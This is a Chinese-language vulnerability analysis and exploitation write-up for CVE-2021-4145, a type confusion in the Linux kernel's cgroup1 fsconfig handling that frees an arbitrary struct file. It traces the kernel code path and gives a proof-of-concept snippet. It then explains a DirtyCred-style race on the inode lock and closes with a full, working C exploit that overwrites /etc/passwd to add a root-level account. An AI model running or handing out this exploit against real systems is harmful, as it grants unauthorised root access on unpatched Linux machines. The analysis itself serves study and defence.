CVE-2021-4145：类型混淆导致释放任意 file 结构体

前言

影响版本： v5.13.4 之前

测试版本：v5.13.3 （感谢 bsauce 大佬提供的测试环境）

漏洞发生在 fsconfig 处理时调用的cgroup1_parse_param 函数中，patch：

diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);if (opt == -ENOPARAM) {if (strcmp(param->key, "source") == 0) {
+           if (param->type != fs_value_is_string)
+               return invalf(fc, "Non-string source");if (fc->source)return invalf(fc, "Multiple sources not supported");fc->source = param->string;

`fsconfig/cgroup1_parse_param` 漏洞分析

这里的从头开始分析一下 fsconfig，这也有利于理解（fsopen 就不分析了，分析好几遍了已经）。这里利用时，主要是 cgroup 文件系统，然后 fsconfig 的 cmd 为FSCONFG_SET_FD：

SYSCALL_DEFINE5(fsconfig,int, fd,unsigned int, cmd,const char __user *, _key,const void __user *, _value,int, aux)
{struct fs_context *fc; // 文件系统上下文信息结构体struct fd f; // 文件系统文件描述符int ret;int lookup_flags = 0;
struct fs_parameter param = {.type   = fs_value_is_undefined, // 参数类型};
if (fd < 0) return -EINVAL;// 不同的 cmd，其 key/vaule/aux 参数含义不同switch (cmd) {case FSCONFIG_SET_FLAG:if (!_key || _value || aux)return -EINVAL;break;case FSCONFIG_SET_STRING:if (!_key || !_value || aux)return -EINVAL;break;
......// 对于 FSCONFIG_SET_FD 而已，其 key 不为空，aux 为要设置的 fdcase FSCONFIG_SET_FD:if (!_key || _value || aux < 0)return -EINVAL;break;
......default:return -EOPNOTSUPP;}// 获取文件系统的 fd 结构体f = fdget(fd);// 一些检查if (!f.file) return -EBADF;ret = -EINVAL;if (f.file->f_op != &fscontext_fops) goto out_f;
// 获取 fc，即文件系统上下文fc = f.file->private_data;// 如果其 ops 为默认的 legacy_fs_context_ops// 则以下 cmd 不能执行// 对于 cgroup 文件系统而言，其不是 legacy_fs_context_ops，这里后面再说if (fc->ops == &legacy_fs_context_ops) {switch (cmd) {case FSCONFIG_SET_BINARY:case FSCONFIG_SET_PATH:case FSCONFIG_SET_PATH_EMPTY:case FSCONFIG_SET_FD:ret = -EOPNOTSUPP;goto out_f;}}// 复制 key 到内核空间if (_key) {param.key = strndup_user(_key, 256);if (IS_ERR(param.key)) {ret = PTR_ERR(param.key);goto out_f;}}// 针对不同的 cmd 设置参数类型switch (cmd) {case FSCONFIG_SET_FLAG:param.type = fs_value_is_flag;break;case FSCONFIG_SET_STRING:param.type = fs_value_is_string;param.string = strndup_user(_value, 256);if (IS_ERR(param.string)) {ret = PTR_ERR(param.string);goto out_key;}param.size = strlen(param.string);
......// 对于 FSCONFIG_SET_FD 而已，其类型为 fs_value_is_filecase FSCONFIG_SET_FD:param.type = fs_value_is_file;ret = -EBADF;param.file = fget(aux); // 获取 aux 文件描述符对于的 struct file 结构体指针并赋值给 param.fileif (!param.file) goto out_key;break;default:break;}
ret = mutex_lock_interruptible(&fc->uapi_mutex);if (ret == 0) {// 这里会调用 vfs_fsconfig_locked 函数，其会调用的漏洞函数 ****ret = vfs_fsconfig_locked(fc, cmd, &param);mutex_unlock(&fc->uapi_mutex);}
/* Clean up the our record of any value that we obtained from* userspace.  Note that the value may have been stolen by the LSM or* filesystem, in which case the value pointer will have been cleared.*/// 针对不同的 cmd 进行不同的清理操作，这里无关紧要switch (cmd) {case FSCONFIG_SET_STRING:case FSCONFIG_SET_BINARY:kfree(param.string);break;case FSCONFIG_SET_PATH:case FSCONFIG_SET_PATH_EMPTY:if (param.name) putname(param.name);break;case FSCONFIG_SET_FD:if (param.file) fput(param.file);break;default:break;}
out_key:kfree(param.key);
out_f:fdput(f);return ret;
}

vfs_fsconfig_locked 函数如下：其也是争对不同的 cmd 执行不同的操作

static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param)
{struct super_block *sb;int ret;
ret = finish_clean_context(fc);if (ret)return ret;switch (cmd) {case FSCONFIG_CMD_CREATE:
......return 0;case FSCONFIG_CMD_RECONFIGURE:
......return 0;default:if (fc->phase != FS_CONTEXT_CREATE_PARAMS && fc->phase != FS_CONTEXT_RECONF_PARAMS)return -EBUSY;return vfs_parse_fs_param(fc, param);}fc->phase = FS_CONTEXT_FAILED;return ret;
}

这里如果 cmd 不是 FSCONFIG_CMD_CREATE/FSCONFIG_CMD_RECONFIGURE 的话一般都会调用到 vfs_parse_fs_param 函数：

int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{int ret;// key 不能为空if (!param->key) return invalf(fc, "Unnamed parameter\n");
ret = vfs_parse_sb_flag(fc, param->key);if (ret != -ENOPARAM) return ret;
ret = security_fs_context_parse_param(fc, param);if (ret != -ENOPARAM) return ret;// 这里会调用到漏洞函数if (fc->ops->parse_param) {ret = fc->ops->parse_param(fc, param);if (ret != -ENOPARAM)return ret;}
/* If the filesystem doesn't take any arguments, give it the* default handling of source.*/// 如果 key 是 source，会进行单独处理if (strcmp(param->key, "source") == 0) {// 这里判断参数类型是否是 fs_value_is_string// fs_value_is_string 是 key-value 型的if (param->type != fs_value_is_string)return invalf(fc, "VFS: Non-string source");// source 已经存在了if (fc->source) return invalf(fc, "VFS: Multiple sources");// 将 value [param->string 就是传入的 value] 赋给 fc->sourcefc->source = param->string;param->string = NULL;return 0;}
return invalf(fc, "%s: Unknown parameter '%s'", fc->fs_type->name, param->key);
}

对于 cgroup 文件系统而言，其 ops 为 cgroup1_fs_context_ops，这里可以看 fsopen 函数逻辑：

static const struct fs_context_operations cgroup1_fs_context_ops = {.free       = cgroup_fs_context_free,.parse_param    = cgroup1_parse_param,.get_tree   = cgroup1_get_tree,.reconfigure    = cgroup1_reconfigure,
};

因为对于 cgroup 文件系统，其 file_system_type 中的 init_fs_context 不为空：

struct file_system_type cgroup_fs_type = {.name           = "cgroup",.init_fs_context    = cgroup_init_fs_context,.parameters     = cgroup1_fs_parameters,.kill_sb        = cgroup_kill_sb,.fs_flags       = FS_USERNS_MOUNT,
};

所以其在 fsopen 中调用的是 cgroup_init_fs_context 对 fs 进行相关初始化：

static int cgroup_init_fs_context(struct fs_context *fc)
{struct cgroup_fs_context *ctx;
ctx = kzalloc(sizeof(struct cgroup_fs_context), GFP_KERNEL);if (!ctx) return -ENOMEM;
ctx->ns = current->nsproxy->cgroup_ns;get_cgroup_ns(ctx->ns);fc->fs_private = &ctx->kfc;if (fc->fs_type == &cgroup2_fs_type)fc->ops = &cgroup_fs_context_ops;elsefc->ops = &cgroup1_fs_context_ops;put_user_ns(fc->user_ns);fc->user_ns = get_user_ns(ctx->ns->user_ns);fc->global = true;return 0;
}

可以看到这里设置的 ops 就是 cgroup1_fs_context_ops。

所以这里调用的就是 cgroup1_parse_param 函数，这里就看下漏洞点：

int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{struct cgroup_fs_context *ctx = cgroup_fc2context(fc);struct cgroup_subsys *ss;struct fs_parse_result result;int opt, i;
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);if (opt == -ENOPARAM) {// 如果 key == "source"if (strcmp(param->key, "source") == 0) {// 可以看到这里只是判断了 fc->source 是否存在// 你是否还记得之前的 source 判断都是判断了其类型是否是 fs_value_is_string 的if (fc->source) return invalf(fc, "Multiple sources not supported");// 这里把 param->string 赋值给了 fc->sourcefc->source = param->string;param->string = NULL;return 0;}......}if (opt < 0)return opt;
switch (opt) {......}return 0;
}

其实到这里你还是觉得这里不存在啥问题，因为按照流程下来，我们提前说了用的是 FSCONFIG_SET_FD，所以 param->file = my_file，param->string 并没有被赋值，但是你请看 struct fs_parameter 结构体：

struct fs_parameter {const char      *key;       /* Parameter name */enum fs_value_type  type:8;     /* The type of value here */union {char        *string; // <============void        *blob;   //             |struct filename *name;//            |struct file *file;   // <============};size_t  size;int dirfd;
};

纳尼？string 和 file 是在联合体里面，所以这里的 param->string = param->file，所以这里我们可以把一个文件的 file 结构体指针挂在 fc->source 上。

当我们关闭文件系统描述符 fs_fd 时，其会调用 fscontext_release 函数：

static int fscontext_release(struct inode *inode, struct file *file)
{struct fs_context *fc = file->private_data;
if (fc) {file->private_data = NULL;put_fs_context(fc);}return 0;
}

其调用了 put_fs_context 函数，这里只看关键点：

void put_fs_context(struct fs_context *fc)
{struct super_block *sb;
if (fc->root) {sb = fc->root->d_sb;dput(fc->root);fc->root = NULL;deactivate_super(sb);}
if (fc->need_free && fc->ops && fc->ops->free)fc->ops->free(fc);
security_free_mnt_opts(&fc->security);put_net(fc->net_ns);put_user_ns(fc->user_ns);put_cred(fc->cred);put_fc_log(fc);put_filesystem(fc->fs_type);kfree(fc->source); // 这里释放了 fc->sourcekfree(fc);
}

可以看到这里释放了 fc->source，而在上面说了我们是可以把一个文件的 file 结构体指针挂到 fc->source 上的。所以这里就造成了任意 struct file 释放漏洞。

poc 关键代码如下：

int fs_fd = fsopen("cgroup", 0);
int fd = open("victim_file_path", O_RDWR);
fsconfig(fs_fd, FSCONFIG_SET_FD, "source", NULL, fd);
close(fs_fd);

在关闭 fs_fd 时，fd 对应的 struct file 会被释放，导致了 struct file 的 UAF。

漏洞利用

这里我感觉除了 dirtyCred 外，其他方法还挺难利用的，毕竟不是通用 slab 的 UAF。但是我们网上大佬们尝试利用 cross-cache 进行利用。由于这个技巧我掌握的不好，所以搞出来非常不稳定，暂时就不表了，后面有机会好好学一学。

这里的 dirtyCred 利用时存在一定的技巧性，觉得好好记录一下。

linux 中在对文件进行写入操作时的流程如下：

权限检查，检查文件是否可写
内容写入，实际内容写入文件

而权限检查和内容写入都是根据打开文件的 struct file 进行的，所以如果能够在权限检查之后，内容写入之前将低权限的 file 替换为高权限的 file，即可完成向高权限的文件进行写入如 /etc/passwd 文件。

而操作系统不允许两个进程同时向一个文件进行写入，所以在一个进程对文件进行写入时会获取 inode 锁，其他进程进行写入时得等待 inode 锁的释放。

如下所示，ext4_file_write_iter() 会对 inode 上锁，避免多个线程同时写入同一文件，这个锁恰好在写许可检查与实际写之间。线程1先获得锁并写入大量数据，线程2写入同一文件（确保不会在__fdget_pos()中卡住），在函数 ext4_file_write_iter() 中获取 inode 锁时暂停，线程3触发漏洞释放线程2的file 结构，并用特权 file 结构替换，等线程2获得锁后会往特权文件写入恶意数据。

调用路径：.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter

static ssize_t ext4_buffered_write_iter(struct kiocb *iocb, struct iov_iter *from)
{ssize_t ret;struct inode *inode = file_inode(iocb->ki_filp);
if (iocb->ki_flags & IOCB_NOWAIT)return -EOPNOTSUPP;
ext4_fc_start_update(inode);inode_lock(inode);                                              // [1] 获取 inode 锁...ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos); // [2] 实际写 generic_perform_write...inode_unlock(inode);                                            // [3] 释放 inode 锁return ret;
}

所以思路如下：

打开一个可写文件 /tmp/x，利用漏洞将其 struct file 释放掉
进程 A/B 对文件 /tmp/x 进行写入，A 先获取 inode 锁并写入，B 通过权限检查后等待 A 写完释放 inode 锁
在 B 等待锁期间，打开大量 /etc/passwd 则可能获取到第一步释放的 struct file
后面 B 进行写入时，实际上是向 /etc/passwd 文件中进行写入

关键点：

打开大量 /etc/passwd 是需要时间的，所以为了延长 B 等待锁的时间，这里 A 得写入大量数据，如 4G 一般可让 B 等待 10 几秒
struct file 被释放后，其内容不会改变吗？对后面没有影响吗？这里如果是 slub 的话，一般也就修8字节，其实问题不大
在检查写权限之前会调用 __fdget_pos

unsigned long __fdget_pos(unsigned int fd)
{unsigned long v = __fdget(fd);struct file *file = (struct file *)(v & ~3);
if (file && (file->f_mode & FMODE_ATOMIC_POS)) {if (file_count(file) > 1) {v |= FDPUT_POS_UNLOCK;mutex_lock(&file->f_pos_lock);}}return v;
}

可以看到如果 file 中引用计数 refcount 大于1，且 flag 带有 FMODE_ATOMIC_POS 标志时，这里会获取 f_pos_lock 锁，而在我们的利用中，最开始打开了一次 /tmp/x，A/B 又分别打开了一次，所以这里 refcount 为3，所以这里得去除 FMODE_ATOMIC_POS 标志。不然 A 会获得该锁，当 B 进行权限检查时，就会卡在这里等待该锁。

解决方案：在 open 调用中，只要文件是常规文件，就会设置 FMODE_ATOMIC_POS flag，作者查看内核代码后发现，如果打开软连接文件就不会设置 FMODE_ATOMIC_POS flag，这样就能避免卡在 __fdget_pos() 函数中。

exp 如下：

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <linux/kcmp.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endifint fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char* msg)
{printf("[X] %s\n", msg);exit(-1);
}void unshare_setup(void)
{char edit[0x100];int tmp_fd;if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))err_exit("FAILED to create a new namespace");tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}#define WRITE_PAGE_NUMS 0x40000
#define MAX_FILE_NUMS 1000int uaf_fd;
int run_wait_lock = 0;
int run_spray_file = 0;void prepare_exp_file()
{puts("[+] Step I - Prepare some exp files");system("rm exp_dir -rf;mkdir exp_dir;touch exp_dir/data");if (chmod("exp_dir", 0777))perror("chmod exp_dir"), exit(-1);if (chdir("exp_dir"))perror("chdir exp_dir"), exit(-1);
}void construct_file_uaf()
{puts("[+] Step II - Construct file obj UAF");int fs_fd = fsopen("cgroup", 0);if (fs_fd < 0) perror("fsopen cgroup"), exit(-1);symlink("./data", "./uaf");uaf_fd = open("./uaf", O_WRONLY);if (uaf_fd < 0) perror("open uaf"), exit(-1);if (fsconfig(fs_fd, 5, "source", NULL, uaf_fd))perror("fsoncfig set fd"), exit(-1);close(fs_fd);
}void* slow_write()
{int fd = open("./uaf", O_WRONLY);if (fd < 0) perror("open uaf"), exit(-1);uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS-1) * 0x1000;int64_t page_nums;for (page_nums = 0; page_nums < WRITE_PAGE_NUMS; page_nums++){void* addr = mmap((void*)(start_addr+page_nums*0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr <= 0) perror("mmap"), exit(-1);}assert(page_nums > 0);puts("[+] Thread I start to slow write to get inode lock");run_wait_lock = 1;if (write(fd, (void*)start_addr, write_len) < 0)perror("slow write"), exit(-1);puts("[+] Thread I write OVER");close(fd);
}void* write_cmd_and_wait_lock()
{char cmd[1024] = "hi:x:0:0:root:/home/hi:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n";while(!run_wait_lock) {}puts("[+] Thread II start to wait for inode lock to write");run_spray_file = 1;if (write(uaf_fd, cmd, strlen(cmd)) < 0)perror("write uaf"), exit(-1);puts("[+] Thread II write OVER");}void spray_file()
{int fd[MAX_FILE_NUMS], i = 0;while (!run_spray_file) {}puts("[+] Thread III start to open many /etc/passwd to spray file obj");printf("[+] uaf_fd is %d\n", uaf_fd);usleep(0.3);for (; i < MAX_FILE_NUMS; i++){if ((fd[i] = open("/etc/passwd", O_RDONLY)) < 0)perror("open /etc/passwd"), exit(-1);if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fd[i], uaf_fd) == 0){printf("[V] GOOD, Get UAF file obj successfully: fd[%d] = %d\n", i, fd[i]);for (int j = 0; j < i; j++)close(fd[j]);break;}}if (i == MAX_FILE_NUMS){for (int j = 0; j < i; j++)close(fd[j]);puts("[X] FAILED to get UAF file obj"), exit(-1);}
}int main(int argc, char** argv, char** envp)
{pthread_t thr1, thr2;prepare_exp_file();unshare_setup();construct_file_uaf();pthread_create(&thr1, NULL, slow_write, NULL);usleep(1);pthread_create(&thr2, NULL, write_cmd_and_wait_lock, NULL);spray_file();pthread_exit(NULL);return 0;
}

效果如下：